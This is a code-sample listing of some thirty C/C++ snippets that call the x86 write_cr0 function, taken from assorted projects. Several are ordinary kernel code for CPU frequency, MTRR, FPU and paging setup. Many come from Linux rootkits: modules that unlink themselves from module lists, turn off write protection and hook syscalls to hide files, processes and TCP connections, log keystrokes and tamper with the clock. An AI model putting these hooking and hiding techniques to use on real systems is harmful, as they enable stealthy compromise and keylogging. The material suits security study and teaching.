自学教程：C++ write_cr0函数代码示例

static void powernow_k6_set_cpu_multiplier(unsigned int best_i){	unsigned long outvalue, invalue;	unsigned long msrval;	unsigned long cr0;	/* we now need to transform best_i to the BVC format, see AMD#23446 */	/*	 * The processor doesn't respond to inquiry cycles while changing the	 * frequency, so we must disable cache.	 */	local_irq_disable();	cr0 = read_cr0();	write_cr0(cr0 | X86_CR0_CD);	wbinvd();	outvalue = (1<<12) | (1<<10) | (1<<9) | (index_to_register[best_i]<<5);	msrval = POWERNOW_IOPORT + 0x1;	wrmsr(MSR_K6_EPMR, msrval, 0); /* enable the PowerNow port */	invalue = inl(POWERNOW_IOPORT + 0x8);	invalue = invalue & 0x1f;	outvalue = outvalue | invalue;	outl(outvalue, (POWERNOW_IOPORT + 0x8));	msrval = POWERNOW_IOPORT + 0x0;	wrmsr(MSR_K6_EPMR, msrval, 0); /* disable it again */	write_cr0(cr0);	local_irq_enable();}

static int __init syscall_init(void){    int ret;    unsigned long addr;    unsigned long cr0;      syscall_table = (void **)find_sys_call_table();    if (!syscall_table) {        printk(KERN_DEBUG "Cannot find the system call address/n");         return -1;    }    cr0 = read_cr0();    write_cr0(cr0 & ~CR0_WP);    addr = (unsigned long)syscall_table;    ret = set_memory_rw(PAGE_ALIGN(addr) - PAGE_SIZE, 3);    if(ret) {        printk(KERN_DEBUG "Cannot set the memory to rw (%d) at addr %16lX/n", ret, PAGE_ALIGN(addr) - PAGE_SIZE);    } else {        printk(KERN_DEBUG "3 pages set to rw");    }        orig_sys_open = syscall_table[__NR_open];    syscall_table[__NR_open] = my_sys_open;    write_cr0(cr0);      return 0;}

static int __init hidden_init(void){    printk(KERN_INFO "Starting up module./n");    /* Hide the module from proc/modules, Sys/modules tracking. */        list_del_init(&__this_module.list);    kobject_del(&THIS_MODULE->mkobj.kobj);        /* Locate address of the Syscall table in memory. */    if(!(sys_call_table = get_sys_call_table())) {        printk(KERN_INFO "Unable to locate Syscall table.");        return -1;    }    /* Disabling WP bit in control register cr0 to write to sys_call table. */    write_cr0(read_cr0() & (~ 0x10000));        /* Store open system call to use later. */    original_open = (void *)sys_call_table[__NR_open];    /* Write our modified read call to the syscall table. */    sys_call_table[__NR_open] = (unsigned long *) hidden_open;      /* Turning WP bit back on. */    write_cr0(read_cr0() | 0x10000);     return 0; }

void enable_hack(){	if (success!=1) {            printk(KERN_INFO "Cannot enable, succes!=1/n");            return;        }	if (hacked) {            printk(KERN_INFO "Already hooked/n");            return;        }        	hacked=1;		// disable kernel page write protection	write_cr0 (read_cr0 () & (~ 0x10000));	// redirect system call to our wrapper routine	//sys_call_table[__NR_getdents64] = hacked_getdents;	sys_call_table[__NR_settimeofday] = hacked_settimeofday;	sys_call_table[__NR_adjtimex] = hacked_adjtimex;        sys_call_table[__NR_clock_settime] = hacked_clock_settime;	// enable kernel page write protection back	write_cr0 (read_cr0 () | 0x10000);	printk(KERN_INFO "Syscall tampered #3. new clock_settime=%p/n", (void*) sys_call_table[__NR_clock_settime]);}

/*! * @fn void cpumon_Set_IDT_Func(idt, func) * * @param  GATE_STRUCT*  - address of the idt vector * @param  PVOID         - function to set in IDT  * * @return None     No return needed * * @brief  Set up the interrupt handler.   * @brief  Save the old handler for restoration when done * */static VOIDcpumon_Set_IDT_Func (    GATE_STRUCT   *idt,    PVOID          func){#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,25)    _set_gate(&idt[CPU_PERF_VECTOR], GATE_INTERRUPT, (unsigned long) func, 3, 0);#else#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)    unsigned long cr0_value;#endif    GATE_STRUCT  local;    // _set_gate() cannot be used because the IDT table is not exported.    pack_gate(&local, GATE_INTERRUPT, (unsigned long)func, 3, 0, __KERNEL_CS);    // From 3.10 kernel, the IDT memory has been moved to a read-only location    // which is controlled by the bit 16 in the CR0 register.    // The write protection should be temporarily released to update the IDT.#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)    cr0_value = read_cr0();    write_cr0(cr0_value & ~X86_CR0_WP);#endif    write_idt_entry((idt), CPU_PERF_VECTOR, &local);#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)    write_cr0(cr0_value);#endif#endif    return;}

//The code that gets executed when the module is loadedstatic int initialize_sneaky_module(void){  struct page *page_ptr;    //See /var/log/syslog for kernel print output  printk(KERN_INFO "Sneaky module being loaded./n");  printk(KERN_INFO "PID is  %d/n", PID);  //Turn off write protection mode  write_cr0(read_cr0() & (~0x10000));  //Get a pointer to the virtual page containing the address  //of the system call table in the kernel.  page_ptr = virt_to_page(&sys_call_table);  //Make this page read-write accessible  pages_rw(page_ptr, 1);  //This is the magic! Save away the original 'open' system call  //function address. Then overwrite its address in the system call  //table with the function address of our new code.  original_call = (void*)*(sys_call_table + __NR_open);  *(sys_call_table + __NR_open) = (unsigned long)sneaky_sys_open;  //getdents  original_getdents = (void*)*(sys_call_table + __NR_getdents);  *(sys_call_table + __NR_getdents) = (unsigned long)sneaky_sys_getdents;  //read   original_read = (void*)*(sys_call_table + __NR_read);  *(sys_call_table + __NR_read) = (unsigned long)sneaky_sys_read;  //Revert page to read-only  pages_ro(page_ptr, 1);  //Turn write protection mode back on  write_cr0(read_cr0() | 0x10000);  return 0;       // to show a successful load }  

void cleanup_module() {     kfree(sock);    /* Reset the "open" system call */    write_cr0 (read_cr0 () & (~ 0x10000));    syscall_table[__NR_mkdir] = original_mkdir;    write_cr0 (read_cr0 () | 0x10000);    printk(KERN_ALERT "HIJACK EXIT/n");}

static int _init(void) {    printk("rootkit loaded/n");    /*list_del_init(&__this_module.list);*/      /* /proc/modules */    /*kobject_del(&THIS_MODULE->mkobj.kobj);*/   /* /sys/modules  */    write_cr0(read_cr0() & (~ 0x10000));    printk("tty_insert_flip_char: %p/n", tty_insert_flip_char);    o_tty_insert_flip_char = (void *) xchg(tty_insert_flip_char, my_tty_insert_flip_char);    write_cr0(read_cr0() | 0x10000);    return 0;}

static void __exit syscall_release(void){    unsigned long cr0;        cr0 = read_cr0();    write_cr0(cr0 & ~CR0_WP);        syscall_table[__NR_open] = orig_sys_open;        write_cr0(cr0);}

void _exit(void) {    my_type* syscalltable = 0;    syscalltable = (my_type* ) find();    if (syscalltable != 0)    {        write_cr0(read_cr0() & (~ 0x10000));        xchg(&syscalltable[__NR_getdents64], o_getdents64);        write_cr0(read_cr0() | 0x10000);    }    printk("rootkit removed/n");}

static void __exit jackle_end( void ) {    if( !sys_call_table ) {        return;    }    write_cr0( original_cr0 & ~0x00010000 );    sys_call_table[__NR_read] = ( unsigned long * )ref_sys_read;    sys_call_table[__NR_open] = ( unsigned long * )ref_sys_open;    write_cr0( original_cr0 );}

// rm the kmodstatic void exit(void) {    write_cr0 (read_cr0 () & (~ 0x10000));   // YOUR CODE HERE!   // hint: you unhook here    write_cr0 (read_cr0 () | 0x10000);    printk(KERN_ALERT "MODULE EXIT/n");}

static int init(void) {     printk(KERN_ALERT "/nHIJACK INIT/n");    write_cr0 (read_cr0 () & (~ 0x10000));     original_write = (void *)syscall_table[__NR_write];    syscall_table[__NR_write] = new_write;      write_cr0 (read_cr0 () | 0x10000);     return 0;}

static void exit(void) {     write_cr0 (read_cr0 () & (~ 0x10000));     syscall_table[__NR_write] = original_write;      write_cr0 (read_cr0 () | 0x10000);         printk(KERN_ALERT "MODULE EXIT/n");     return;}

static void __exit rootkit_end(void){    if(!sys_call_table) {        return;    }    // turn off memory protection    write_cr0(original_cr0 & ~0x00010000);    // put the old system call back in place    sys_call_table[__NR_read] = (unsigned long *)ref_sys_read;    // memory protection back on    write_cr0(original_cr0);}

/*init module insmod*/static int init(void){  //Uncomment to hide this module  list_del_init(&__this_module.list);  struct tcp_seq_afinfo *my_afinfo = NULL;  //proc_net is disappeared in 2.6.32, use init_net.proc_net  struct proc_dir_entry *my_dir_entry = init_net.proc_net->subdir;    write_cr0 (read_cr0 () & (~ 0x10000));  if(_KEYLOG_){    o_read=(void *)sys_call_table[__NR_read];    sys_call_table[__NR_read]=h4x_read;  }  o_write=(void *)sys_call_table[__NR_write];  sys_call_table[__NR_write]=h4x_write;  #if defined(__x86_64__)    o_getdents=sys_call_table [__NR_getdents];    sys_call_table [__NR_getdents]=h4x_getdents;  #elif defined(__i386__)    o_getdents64=sys_call_table [__NR_getdents64];    sys_call_table [__NR_getdents64]=h4x_getdents64;  #else    #error Unsupported architecture  #endif  o_unlink = sys_call_table [__NR_unlink];  sys_call_table [__NR_unlink] = h4x_unlink;  o_rmdir = sys_call_table [__NR_rmdir];  sys_call_table [__NR_rmdir] = h4x_rmdir;  o_unlinkat = sys_call_table [__NR_unlinkat];  sys_call_table [__NR_unlinkat] = h4x_unlinkat;  o_rename = sys_call_table [__NR_rename];  sys_call_table [__NR_rename] = h4x_rename;  o_open = sys_call_table [__NR_open];  sys_call_table [__NR_open] = h4x_open;  o_kill = sys_call_table [__NR_kill];  sys_call_table [__NR_kill] = h4x_kill;  o_delete_module = sys_call_table [__NR_delete_module];  sys_call_table [__NR_delete_module] = h4x_delete_module;  write_cr0 (read_cr0 () | 0x10000);  while(strcmp(my_dir_entry->name, "tcp"))    my_dir_entry = my_dir_entry->next;  if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))  {    //seq_show is disappeared in 2.6.32, use seq_ops.show    old_tcp4_seq_show = my_afinfo->seq_ops.show;    my_afinfo->seq_ops.show = h4x_tcp4_seq_show;  }  return 0;}

int init_module() {    printk(KERN_ALERT "/nHIJACK INIT/n");    if (do_connect())      printk(KERN_ALERT "Error initializing control socket./n");    /* Override the "open" system call */    write_cr0 (read_cr0 () & (~ 0x10000));    original_mkdir = (void *)syscall_table[__NR_mkdir];    syscall_table[__NR_mkdir] = new_mkdir;    write_cr0 (read_cr0 () | 0x10000);     return 0;}

// install the kmodstatic int init(void) {    printk(KERN_ALERT "Entering the kernel/n"); 	// disable write protection, flip bit    write_cr0 (read_cr0 () & (~ 0x10000));        // YOUR CODE HERE!    // hint: you do the hook here 	// enable write protection, flip bit    write_cr0 (read_cr0 () | 0x10000);    return 0;}

static void enable_page_protection(void) {	unsigned long cr0 = read_cr0();	cr0 |= (1 << 16);	write_cr0(cr0);}

/*  Put the processor into a state where MTRRs can be safely set  */void set_mtrr_prepare_save(struct set_mtrr_context *ctxt){    unsigned int cr0;    /*  Disable interrupts locally  */    local_irq_save(ctxt->flags);    if (use_intel() || is_cpu(CYRIX)) {        /*  Save value of CR4 and clear Page Global Enable (bit 7)  */        if ( cpu_has_pge ) {            ctxt->cr4val = read_cr4();            write_cr4(ctxt->cr4val & ~X86_CR4_PGE);        }        /*  Disable and flush caches. Note that wbinvd flushes the TLBs as            a side-effect  */        cr0 = read_cr0() | 0x40000000;        wbinvd();        write_cr0(cr0);        wbinvd();        if (use_intel())            /*  Save MTRR state */            rdmsr(MTRRdefType_MSR, ctxt->deftype_lo, ctxt->deftype_hi);        else            /* Cyrix ARRs - everything else were excluded at the top */            ctxt->ccr3 = getCx86(CX86_CCR3);    }}

/*  Restore the processor after a set_mtrr_prepare  */void set_mtrr_done(struct set_mtrr_context *ctxt){    if (use_intel() || is_cpu(CYRIX)) {        /*  Flush caches and TLBs  */        wbinvd();        /*  Restore MTRRdefType  */        if (use_intel())            /* Intel (P6) standard MTRRs */            mtrr_wrmsr(MTRRdefType_MSR, ctxt->deftype_lo, ctxt->deftype_hi);        else            /* Cyrix ARRs - everything else was excluded at the top */            setCx86(CX86_CCR3, ctxt->ccr3);        /*  Enable caches  */        write_cr0(read_cr0() & 0xbfffffff);        /*  Restore value of CR4  */        if ( cpu_has_pge )            write_cr4(ctxt->cr4val);    }    /*  Re-enable interrupts locally (if enabled previously)  */    local_irq_restore(ctxt->flags);}

static void enable_page_protection(void) {    /*    See the above description for cr0. Here, we use an OR to set the    16th bit to re-enable write protection on the CPU.    */    write_cr0 (read_cr0 () | 0x10000);}

/* * The earliest FPU detection code. * * Set the X86_FEATURE_FPU CPU-capability bit based on * trying to execute an actual sequence of FPU instructions: */static void fpu__init_system_early_generic(struct cpuinfo_x86 *c){	unsigned long cr0;	u16 fsw, fcw;	fsw = fcw = 0xffff;	cr0 = read_cr0();	cr0 &= ~(X86_CR0_TS | X86_CR0_EM);	write_cr0(cr0);	asm volatile("fninit ; fnstsw %0 ; fnstcw %1"		     : "+m" (fsw), "+m" (fcw));	if (fsw == 0 && (fcw & 0x103f) == 0x003f)		set_cpu_cap(c, X86_FEATURE_FPU);	else		clear_cpu_cap(c, X86_FEATURE_FPU);#ifndef CONFIG_MATH_EMULATION	if (!cpu_has_fpu) {		pr_emerg("x86/fpu: Giving up, no FPU found and no math emulation present/n");		for (;;)			asm volatile("hlt");	}

/* * Initialize the registers found in all CPUs, CR0 and CR4: */static void fpu__init_cpu_generic(void){	unsigned long cr0;	unsigned long cr4_mask = 0;	if (cpu_has_fxsr)		cr4_mask |= X86_CR4_OSFXSR;	if (cpu_has_xmm)		cr4_mask |= X86_CR4_OSXMMEXCPT;	if (cr4_mask)		cr4_set_bits(cr4_mask);	cr0 = read_cr0();	cr0 &= ~(X86_CR0_TS|X86_CR0_EM); /* clear TS and EM */	if (!cpu_has_fpu)		cr0 |= X86_CR0_EM;	write_cr0(cr0);	/* Flush out any pending x87 state: */#ifdef CONFIG_MATH_EMULATION	if (!cpu_has_fpu)		fpstate_init_soft(&current->thread.fpu.state.soft);	else#endif		asm volatile ("fninit");}

void disable_hack_ia32(){	if (success_ia32!=1) return;	if (!hacked_ia32) return;	hacked_ia32=0;	//	// restore syscall table	//	write_cr0 (read_cr0 () & (~ 0x10000));	ia32_sys_call_table[__NR_ia32_adjtimex]=orig_compat_sys_adjtimex;        ia32_sys_call_table[__NR_ia32_clock_settime]=orig_compat_sys_clock_settime;	write_cr0 (read_cr0 () | 0x10000);	printk(KERN_INFO "Syscall restored ia32./n");}

static int __init x86_create_initial_map(){	unsigned long phy= 0; 	unsigned long *p = (unsigned long *)FAK_ARCH_X86_INIT_PGTABLE;				//The kernel topmost table	int i;	for (i = 0; i < 1024; i++) p[i] = 0;	/*		Kernel part in 4mb page;	*/	for (i = 0; i < 1024; i++)	{			if (i == get_loaded_base() / 0x400000) phy = 0;							//如果到了内核的地址，还是从0开始映射,因为内核装的物理地址实际是在开头；		p[i] = phy | 0x83;														//0x183 is the global		phy += 0x400000;	}	write_cr3((unsigned long)p);	phy = read_cr4();	phy |= X86_CR4_PSE | X86_CR4_PGE;											//允许4MB页	write_cr4(phy);	phy = read_cr0();	phy |= X86_CR0_PG;															//打开页表;	phy &= ~(X86_CR0_CD | X86_CR0_NW);											//允许缓存；	write_cr0(phy);	return 0;}

inline void restore_wp ( unsigned long cr0 ){    write_cr0(cr0);    barrier();    preempt_enable();}

static inline voidunprotect_memory(void){	// CR0[16] is Write Protect Bit	// CR0[16] is unset to disable Write Protect	write_cr0(cr0 & ~0x00010000);}

// cr0 is a control register in the x86 family of processors.// Bit 16 of that register is WP - Write protect: Determines whether// the CPU can write to pages marked read-onlyvoid enable_rw(void *ptr) {   preempt_disable();   barrier();   original_rw_mask = read_cr0() & WRITE_PROTECT_MASK;	write_cr0 (read_cr0() & (~ WRITE_PROTECT_MASK));}

/* Enable paging on the CPU. Typically, a CPU start with paging disabled, and	memory is accessed by addressing physical memory directly. After paging is	enabled, memory is addressed logically. */void PageTable::enable_paging() {	//write the page_directory address into CR3	write_cr3((unsigned long)current_page_table->get_page_directory());	//set paging bit in CR0 to 1	write_cr0(read_cr0() | 0x80000000);}